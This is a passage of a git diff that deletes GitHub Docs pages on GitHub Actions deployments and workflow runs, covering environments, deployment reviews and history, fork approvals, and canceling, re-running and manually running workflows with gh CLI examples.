- 1. Select the custom protection rule you want to enable.
- 1. Click **Save protection rules**.
-1. Optionally, specify what branches and tags can deploy to this environment. For more information, see [Deployment branches and tags](/actions/deployment/targeting-different-environments/managing-environments-for-deployment#deployment-branches-and-tags).
- 1. Select the desired option in the **Deployment branches** dropdown.
- 1. If you chose **Selected branches and tags**, to add a new rule, click **Add deployment branch or tag rule**
- 1. In the "Ref type" dropdown menu, depending on what rule you want to apply, click **{% octicon "git-branch" aria-hidden="true" %} Branch** or **{% octicon "tag" aria-hidden="true" %} Tag**.
- 1. Enter the name pattern for the branch or tag that you want to allow.
-
- {% data reusables.actions.branch-and-tag-deployment-rules-configuration %}
-
- 1. Click **Add rule**.
-1. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. For more information, see [Environment secrets](#environment-secrets).
- 1. Under **Environment secrets**, click **Add Secret**.
- 1. Enter the secret name.
- 1. Enter the secret value.
- 1. Click **Add secret**.
-1. Optionally, add environment variables. These variables are only available to workflow jobs that use the environment, and are only accessible using the [`vars`](/actions/learn-github-actions/contexts#vars-context) context. For more information, see [Environment variables](#environment-variables).
- 1. Under **Environment variables**, click **Add Variable**.
- 1. Enter the variable name.
- 1. Enter the variable value.
- 1. Click **Add variable**.
-
-You can also create and configure environments through the REST API. For more information, see [AUTOTITLE](/rest/deployments/environments), [AUTOTITLE](/rest/actions/secrets), [AUTOTITLE](/rest/actions/variables), and [AUTOTITLE](/rest/deployments/branch-policies).
-
-Running a workflow that references an environment that does not exist will create an environment with the referenced name. If the environment is created from running implicit page builds (for example, from a branch or folder source), the source branch will be added as a protection rule to the environment. Otherwise, the newly created environment will not have any protection rules or secrets configured. Anyone that can edit workflows in the repository can create environments via a workflow file, but only repository admins can configure the environment.
-
-## Deleting an environment
-
-{% data reusables.actions.permissions-statement-environment %}
-
-Deleting an environment will delete all secrets and protection rules associated with the environment. Any jobs currently waiting because of protection rules from the deleted environment will automatically fail.
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-settings %}
-{% data reusables.actions.sidebar-environment %}
-1. Next to the environment that you want to delete, click {% octicon "trash" aria-label="Delete environment" %}.
-1. Click **I understand, delete this environment**.
-
-You can also delete environments through the REST API. For more information, see [AUTOTITLE](/rest/repos#environments).
-
-## How environments relate to deployments
-
-{% data reusables.actions.environment-deployment-event %}
-
-You can access these objects through the REST API or GraphQL API. You can also subscribe to these webhook events. For more information, see [AUTOTITLE](/rest/repos#deployments), [AUTOTITLE](/graphql/reference/objects#deployment) (GraphQL API), or [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment).
-
-## Next steps
-
-{% data variables.product.prodname_actions %} provides several features for managing your deployments. For more information, see [AUTOTITLE](/actions/deployment/about-deployments/deploying-with-github-actions).
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/reviewing-deployments.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/reviewing-deployments.md
deleted file mode 100644
index 5c84641d3f43..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/reviewing-deployments.md
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: Reviewing deployments
-shortTitle: Review deployments
-intro: You can approve or reject jobs awaiting review.
-product: '{% data reusables.gated-features.environments %}'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-redirect_from:
- - /actions/managing-workflow-runs/reviewing-deployments
----
-
-
-## About required reviews in workflows
-
-Jobs that reference an environment configured with required reviewers will wait for an approval before starting. While a job is awaiting approval, it has a status of "Waiting". If a job is not approved within 30 days, it will automatically fail.
-
-For more information about environments and required approvals, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). For information about how to review deployments with the REST API, see [AUTOTITLE](/rest/actions/workflow-runs).
-
-## Approving or rejecting a job
-
-1. Navigate to the workflow run that requires review. For more information about navigating to a workflow run, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history).
-1. If the run requires review, you will see a notification for the review request. On the notification, click **Review deployments**.
-1. Select the job environment(s) to approve or reject. Optionally, leave a comment.
-1. Approve or reject:
- * To approve the job, click **Approve and deploy**. Once a job is approved (and any other deployment protection rules have passed), the job will proceed. At this point, the job can access any secrets stored in the environment.
- * To reject the job, click **Reject**. If a job is rejected, the workflow will fail.
-
-> [!NOTE]
-> If the targeted environment is configured to prevent self-approvals for deployments, you will not be able to approve a deployment from a workflow run you initiated. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment#required-reviewers).
-
-## Bypassing deployment protection rules
-
-If you have configured deployment protection rules that control whether software can be deployed to an environment, you can bypass these rules and force all pending jobs referencing the environment to proceed.
-
-> [!NOTE]
-> * You cannot bypass deployment protection rules if the environment has been configured to prevent admins from bypassing configured protection rules. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment#creating-an-environment).
-> * You can only bypass deployment protection rules during workflow execution when a job referencing the environment is in a "Pending" state.
-
-1. Navigate to the workflow run. For more information about navigating to a workflow run, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history).
-1. To the right of **Deployment protection rules**, click **Start all waiting jobs**.
- 
-1. In the pop-up window, select the environments for which you want to bypass deployment protection rules.
-1. Under **Leave a comment**, enter a description for bypassing the deployment protection rules.
-1. Click **I understand the consequences, start deploying**.
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/viewing-deployment-history.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/viewing-deployment-history.md
deleted file mode 100644
index 72b13e2cba92..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/viewing-deployment-history.md
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: Viewing deployment history
-shortTitle: Deployment history
-intro: View current and previous deployments for your repository.
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - API
-redirect_from:
- - /developers/overview/viewing-deployment-history
- - /actions/deployment/viewing-deployment-history
- - /actions/deployment/managing-your-deployments/viewing-deployment-history
----
-
-## About deployment history
-
-{% data reusables.actions.about-deployment-with-github-actions %}
-
-On the deployments page of your repository, you can view the following aspects of your deployments.
-
-* Currently active deployments across various environments
-* Deployments filtered by environment
-* Your repository's full deployment history
-* Associated commits that triggered the deployment
-* Connected {% data variables.product.prodname_actions %} workflow logs
-* The deployment URL (if one exists)
-* The source pull request and branch related to each deployment
-* Deployment statuses. For more information about deployment statuses, see [AUTOTITLE](/rest/deployments/deployments#about-deployments).
-
-By default, the deployments page shows currently active deployments from select environments and a timeline of the latest deployments for all environments.
-
-## Viewing your repository's deployment history
-
-1. In the right-hand sidebar of the home page of your repository, click **Deployments**.
-1. Once you are on the "Deployments" page, you can view the following information about your deployment history.
- * **To view recent deployments for a specific environment**, in the "Environments" section of the left sidebar, click an environment.{% ifversion deployment-dashboard-filter %}
- * **To pin an environment to the top of the deployment history list**, repository administrators can click {% octicon "pin" aria-label="Pin environment" %} to the right of the environment. You can pin up to ten environments.{% endif %}
- * **To view the commit that triggered a deployment**, in the deployment history list, click the commit message for the deployment you want to view.
- >[!NOTE]Deployments from commits that originate from a fork outside of the repository will not show links to the source pull request and branch related to each deployment. For more information about forks, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks).
- * **To view the URL for a deployment**, to the right of the commit message in the deployment history list, click {% octicon "link-external" aria-label="Navigate to deployment URL" %}.
- * **To navigate to the workflow run logs associated with a deployment**, to the right of the commit message in the deployment history list, click {% octicon "kebab-horizontal" aria-label="View logs" %}, then click **View logs**.{% ifversion deployment-dashboard-filter %}
-1. Optionally, to filter the deployment history list, create a filter.
- 1. Click on the **{% octicon "filter" aria-hidden="true" %} Filter** button.
- 1. Click **{% octicon "plus" aria-hidden="true" %} Add a filter**.
- 1. Choose a qualifier you would like to filter the deployment history by.
- 1. Depending on the qualifier you chose, fill out information in the "Operator" and "Value" columns.
- 1. Optionally, click **{% octicon "plus" aria-hidden="true" %} Add a filter** to add another filter.
- 1. Click **Apply**.{% endif %}
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-private-forks.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-private-forks.md
deleted file mode 100644
index 0803f64d56a3..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-private-forks.md
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Approving workflow runs from private forks
-intro: 'When someone without write access submits a pull request to a private repository, a maintainer may need to approve any workflow runs.'
-permissions: Maintainers with write access to a repository can approve workflow runs.
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-shortTitle: Approve private fork runs
-redirect_from:
- - /actions/managing-workflow-runs/approving-workflow-runs-from-private-forks
----
-
-## About workflow runs from private forks
-
-{% data reusables.actions.private-repository-forks-overview %} For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-private-repositories).
-
-## Approving workflow runs on a pull request from a private fork
-
-{% data reusables.actions.workflows.approve-workflow-runs %}
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-public-forks.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-public-forks.md
deleted file mode 100644
index 0be49da7d885..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-public-forks.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Approving workflow runs from public forks
-intro: 'When an outside contributor submits a pull request to a public repository, a maintainer with write access may need to approve some workflow runs.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-shortTitle: Approve public fork runs
-redirect_from:
- - /actions/managing-workflow-runs/approving-workflow-runs-from-public-forks
----
-
-## About workflow runs from public forks
-
-{% data reusables.actions.workflow-run-approve-public-fork %}
-
-You can configure workflow approval requirements for a [repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks), [organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#configuring-required-approval-for-workflows-from-public-forks), or [enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise).
-
-Workflow runs that have been awaiting approval for more than 30 days are automatically deleted.
-
-## Approving workflow runs on a pull request from a public fork
-
-{% data reusables.actions.workflows.approve-workflow-runs %}
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/canceling-a-workflow.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/canceling-a-workflow.md
deleted file mode 100644
index 3437dcee1a06..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/canceling-a-workflow.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: Canceling a workflow
-shortTitle: Cancel a workflow
-intro: 'You can cancel a workflow run that is in progress. When you cancel a workflow run, {% data variables.product.prodname_dotcom %} cancels all jobs and steps that are a part of that workflow.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-redirect_from:
- - /actions/managing-workflow-runs/canceling-a-workflow
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-{% data reusables.repositories.permissions-statement-write %}
-
-## Canceling a workflow run
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.
-1. In the upper-right corner of the workflow, click **Cancel workflow**.
-
-
-## Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run
-
-When canceling workflow run, you may be running other software that uses resources that are related to the workflow run. To help you free up resources related to the workflow run, it may help to understand the steps {% data variables.product.prodname_dotcom %} performs to cancel a workflow run.
-
-1. To cancel the workflow run, the server re-evaluates `if` conditions for all currently running jobs. If the condition evaluates to `true`, the job will not get canceled. For example, the condition `if: always()` would evaluate to true and the job continues to run. When there is no condition, that is the equivalent of the condition `if: success()`, which only runs if the previous step finished successfully.
-1. For jobs that need to be canceled, the server sends a cancellation message to all the runner machines with jobs that need to be canceled.
-1. For jobs that continue to run, the server re-evaluates `if` conditions for the unfinished steps. If the condition evaluates to `true`, the step continues to run. You can use the `cancelled` expression to apply a status check of `cancelled()`. For more information see [AUTOTITLE](/actions/learn-github-actions/expressions#cancelled).
-1. For steps that need to be canceled, the runner machine sends `SIGINT/Ctrl-C` to the step's entry process (`node` for javascript action, `docker` for container action, and `bash/cmd/pwd` when using `run` in a step). If the process doesn't exit within 7500 ms, the runner will send `SIGTERM/Ctrl-Break` to the process, then wait for 2500 ms for the process to exit. If the process is still running, the runner kills the process tree.
-1. After the 5 minutes cancellation timeout period, the server will force terminate all jobs and steps that don't finish running or fail to complete the cancellation process.
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/deleting-a-workflow-run.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/deleting-a-workflow-run.md
deleted file mode 100644
index d718fb0f81b1..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/deleting-a-workflow-run.md
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Deleting a workflow run
-shortTitle: Delete a workflow run
-intro: 'You can delete a workflow run that has been completed, or is more than two weeks old.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-redirect_from:
- - /actions/managing-workflow-runs/deleting-a-workflow-run
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-{% data reusables.repositories.permissions-statement-write %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-1. To delete a workflow run, select {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Delete workflow run**.
-
- 
-
-1. Review the confirmation prompt and click **Yes, permanently delete this workflow run**.
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/disabling-and-enabling-a-workflow.md
deleted file mode 100644
index 346ce637c8ca..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/disabling-and-enabling-a-workflow.md
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: Disabling and enabling a workflow
-intro: 'You can disable and re-enable a workflow using the {% data variables.product.prodname_dotcom %} UI, the REST API, or {% data variables.product.prodname_cli %}.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-shortTitle: Disable & enable a workflow
-redirect_from:
- - /actions/managing-workflow-runs/disabling-and-enabling-a-workflow
- - /actions/using-workflows/disabling-and-enabling-a-workflow
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}.
-
-Temporarily disabling a workflow can be useful in many scenarios. These are a few examples where disabling a workflow might be helpful:
-
-* A workflow error that produces too many or wrong requests, impacting external services negatively.
-* A workflow that is not critical and is consuming too many minutes on your account.
-* A workflow that sends requests to a service that is down.
-* Workflows on a forked repository that aren't needed (for example, scheduled workflows).
-
-> [!WARNING]
-> {% data reusables.actions.scheduled-workflows-disabled %}
-
-You can also disable and enable a workflow using the REST API. For more information, see [AUTOTITLE](/rest/actions/workflows).
-
-## Disabling a workflow
-
-{% webui %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to disable.
-1. Click {% octicon "kebab-horizontal" aria-label="Show workflow options" %} to display a dropdown menu and click **Disable workflow**.
-
- 
-
-{% endwebui %}
-
-{% cli %}
-
-{% data reusables.cli.cli-learn-more %}
-
-To disable a workflow, use the `workflow disable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to disable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
-
-```shell
-gh workflow disable WORKFLOW
-```
-
-{% endcli %}
-
-## Enabling a workflow
-
-{% webui %}
-
-You can re-enable a workflow that was previously disabled.
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to enable.
-
- 
-
-1. Click **Enable workflow**.
-
-{% endwebui %}
-
-{% cli %}
-
-To enable a workflow, use the `workflow enable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to enable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
-
-```shell
-gh workflow enable WORKFLOW
-```
-
-{% endcli %}
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/downloading-workflow-artifacts.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/downloading-workflow-artifacts.md
deleted file mode 100644
index f85df5110520..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/downloading-workflow-artifacts.md
+++ /dev/null
@@ -1,62 +0,0 @@
----
-title: Downloading workflow artifacts
-intro: You can download archived artifacts before they automatically expire.
-permissions: 'People who are signed into {% data variables.product.github %} and have read access to a repository can download workflow artifacts.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-shortTitle: Download workflow artifacts
-redirect_from:
- - /actions/managing-workflow-runs/downloading-workflow-artifacts
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-By default, {% data variables.product.github %} stores build logs and artifacts for 90 days, and you can customize this retention period, depending on the type of repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository).
-
-{% data reusables.repositories.permissions-statement-read %}
-
-{% webui %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-1. In the "Artifacts" section, click the artifact you want to download.
-
- 
-
-{% endwebui %}
-
-{% cli %}
-
-{% data reusables.cli.cli-learn-more %}
-
-{% data variables.product.prodname_cli %} will download each artifact into separate directories based on the artifact name. If only a single artifact is specified, it will be extracted into the current directory.
-
-To download all artifacts generated by a workflow run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
-
-```shell
-gh run download RUN_ID
-```
-
-To download a specific artifact from a run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. Replace `artifact-name` with the name of the artifact that you want to download.
-
-```shell
-gh run download RUN_ID -n ARTIFACT_NAME
-```
-
-You can specify more than one artifact.
-
-```shell
-gh run download RUN_ID> -n ARTIFACT_NAME-1 -n ARTIFACT_NAME-2
-```
-
-To download specific artifacts across all runs in a repository, use the `run download` subcommand.
-
-```shell
-gh run download -n ARTIFACT_NAME-1 ARTIFACT_NAME-2
-```
-
-{% endcli %}
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/index.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/index.md
deleted file mode 100644
index 4804327b0cca..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/index.md
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Managing workflow runs
-shortTitle: Manage workflow runs
-intro: 'You can manually interact with workflow runs to ensure they run effectively.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /manually-running-a-workflow
- - /re-running-workflows-and-jobs
- - /canceling-a-workflow
- - /disabling-and-enabling-a-workflow
- - /skipping-workflow-runs
- - /deleting-a-workflow-run
- - /downloading-workflow-artifacts
- - /removing-workflow-artifacts
- - /approving-workflow-runs-from-public-forks
- - /approving-workflow-runs-from-private-forks
----
-
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/manually-running-a-workflow.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/manually-running-a-workflow.md
deleted file mode 100644
index 9e50e485705d..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/manually-running-a-workflow.md
+++ /dev/null
@@ -1,89 +0,0 @@
----
-title: Manually running a workflow
-intro: 'When a workflow is configured to run on the `workflow_dispatch` event, you can run the workflow using the Actions tab on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_cli %}, or the REST API.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-shortTitle: Manually run a workflow
-redirect_from:
- - /actions/managing-workflow-runs/manually-running-a-workflow
- - /actions/using-workflows/manually-running-a-workflow
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Configuring a workflow to run manually
-
-To run a workflow manually, the workflow must be configured to run on the `workflow_dispatch` event.
-
-To trigger the `workflow_dispatch` event, your workflow must be in the default branch. For more information about configuring the `workflow_dispatch` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch).
-
-{% data reusables.repositories.permissions-statement-write %}
-
-## Running a workflow
-
-{% webui %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the name of the workflow you want to run.
-
- 
-
-1. Above the list of workflow runs, click the **Run workflow** button.
-
- > [!NOTE]
- > To see the **Run workflow** button, your workflow file must use the `workflow_dispatch` event trigger. Only workflow files that use the `workflow_dispatch` event trigger will have the option to run the workflow manually using the **Run workflow** button. For more information about configuring the `workflow_dispatch` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch).
-
- 
-1. Select the **Branch** dropdown menu and click a branch to run the workflow on.
-1. If the workflow requires input, fill in the fields.
-1. Click **Run workflow**.
-
-{% endwebui %}
-
-{% cli %}
-
-{% data reusables.cli.cli-learn-more %}
-
-To run a workflow, use the `workflow run` subcommand. Replace the `workflow` parameter with either the name, ID, or file name of the workflow you want to run. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
-
-```shell
-gh workflow run WORKFLOW
-```
-
-If your workflow accepts inputs, {% data variables.product.prodname_cli %} will prompt you to enter them. Alternatively, you can use `-f` or `-F` to add an input in `key=value` format. Use `-F` to read from a file.
-
-```shell
-gh workflow run greet.yml -f name=mona -f greeting=hello -F data=@myfile.txt
-```
-
-You can also pass inputs as JSON by using standard input.
-
-```shell
-echo '{"name":"mona", "greeting":"hello"}' | gh workflow run greet.yml --json
-```
-
-To run a workflow on a branch other than the repository's default branch, use the `--ref` flag.
-
-```shell
-gh workflow run WORKFLOW --ref BRANCH
-```
-
-To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
-
-```shell
-gh run watch
-```
-
-{% endcli %}
-
-## Running a workflow using the REST API
-
-When using the REST API, you configure the `inputs` and `ref` as request body parameters. If the inputs are omitted, the default values defined in the workflow file are used.
-
-> [!NOTE]
-> You can define up to 10 `inputs` for a `workflow_dispatch` event.
-
-For more information about using the REST API, see [AUTOTITLE](/rest/actions/workflows#create-a-workflow-dispatch-event).
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/re-running-workflows-and-jobs.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/re-running-workflows-and-jobs.md
deleted file mode 100644
index 26865a478f4e..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/re-running-workflows-and-jobs.md
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: Re-running workflows and jobs
-shortTitle: Re-run workflows and jobs
-intro: 'You can re-run a workflow run, all failed jobs in a workflow run, or specific jobs in a workflow run up to 30 days after its initial run.'
-permissions: People with write permissions to a repository can re-run workflows in the repository.
-redirect_from:
- - /actions/managing-workflow-runs/re-running-a-workflow
- - /actions/managing-workflow-runs/re-running-workflows-and-jobs
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About re-running workflows and jobs
-
-Re-running a workflow or jobs in a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. The workflow will use the privileges of the actor who initially triggered the workflow, not the privileges of the actor who initiated the re-run. You can re-run a workflow or jobs in a workflow for up to 30 days after the initial run. You cannot re-run jobs in a workflow once its logs have passed their retention limits. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration#artifact-and-log-retention-policy). When you re-run a workflow or jobs in a workflow, you can enable debug logging for the re-run. This will enable runner diagnostic logging and step debug logging for the re-run. For more information about debug logging, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)
-
-## Re-running all the jobs in a workflow
-
-{% webui %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-1. In the upper-right corner of the workflow, re-run jobs.
-
- * If any jobs failed, select the **{% octicon "sync" aria-hidden="true" %} Re-run jobs** dropdown menu and click **Re-run all jobs**.
-
- * If no jobs failed, click **Re-run all jobs**.
-
-{% data reusables.actions.enable-debug-logging %}
-
-{% endwebui %}
-
-{% cli %}
-
-{% data reusables.cli.cli-learn-more %}
-
-To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run.
-
-```shell
-gh run rerun RUN_ID
-```
-
-{% data reusables.actions.enable-debug-logging-cli %}
-
-```shell
-gh run rerun RUN_ID --debug
-```
-
-To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
-
-```shell
-gh run watch
-```
-
-{% endcli %}
-
-## Re-running failed jobs in a workflow
-
-If any jobs in a workflow run failed, you can re-run just the jobs that failed. When you re-run failed jobs in a workflow, a new workflow run will start for all failed jobs and their dependents. Any outputs for any successful jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any deployment protection rules that passed in the previous run will automatically pass in the re-run.
-
-{% webui %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-1. In the upper-right corner of the workflow, select the **{% octicon "sync" aria-hidden="true" %} Re-run jobs** dropdown menu, and click **Re-run failed jobs**.
-{% data reusables.actions.enable-debug-logging %}
-
-{% endwebui %}
-
-{% cli %}
-
-To re-run failed jobs in a workflow run, use the `run rerun` subcommand with the `--failed` flag. Replace `run-id` with the ID of the run for which you want to re-run failed jobs. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run.
-
-```shell
-gh run rerun RUN_ID --failed
-```
-
-{% data reusables.actions.enable-debug-logging-cli %}
-
-```shell
-gh run rerun RUN_ID --failed --debug
-```
-
-{% endcli %}
-
-## Re-running a specific job in a workflow
-
-When you re-run a specific job in a workflow, a new workflow run will start for the job and any dependents. Any outputs for any other jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any deployment protection rules that passed in the previous run will automatically pass in the re-run.
-
-{% webui %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-1. Under the "Jobs" section of the left sidebar, next to the job that you want to re-run, click {% octicon "sync" aria-label="The re-run icon" %}.
-
-{% data reusables.actions.enable-debug-logging %}
-
-{% endwebui %}
-
-{% cli %}
-
-To re-run a specific job in a workflow run, use the `run rerun` subcommand with the `--job` flag. Replace `job-id` with the ID of the job that you want to re-run.
-
-```shell
-gh run rerun --job JOB_ID
-```
-
-{% data reusables.actions.enable-debug-logging-cli %}
-
-```shell
-gh run rerun --job JOB_ID --debug
-```
-
-{% endcli %}
-
-## Re-running workflows and jobs with reusable workflows
-
-{% data reusables.actions.partial-reruns-with-reusable %}
-
-## Reviewing previous workflow runs
-
-You can view the results from your previous attempts at running a workflow. You can also view previous workflow runs using the API. For more information, see [AUTOTITLE](/rest/actions/workflow-runs#get-a-workflow-run).
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-1. To the right of the run name, select the **Latest** dropdown menu and click a previous run attempt.
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/removing-workflow-artifacts.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/removing-workflow-artifacts.md
deleted file mode 100644
index 9add4cef0404..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/removing-workflow-artifacts.md
+++ /dev/null
@@ -1,42 +0,0 @@
----
-title: Removing workflow artifacts
-intro: 'You can reclaim used {% data variables.product.prodname_actions %} storage by deleting artifacts before they expire on {% data variables.product.github %}.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-shortTitle: Remove workflow artifacts
-redirect_from:
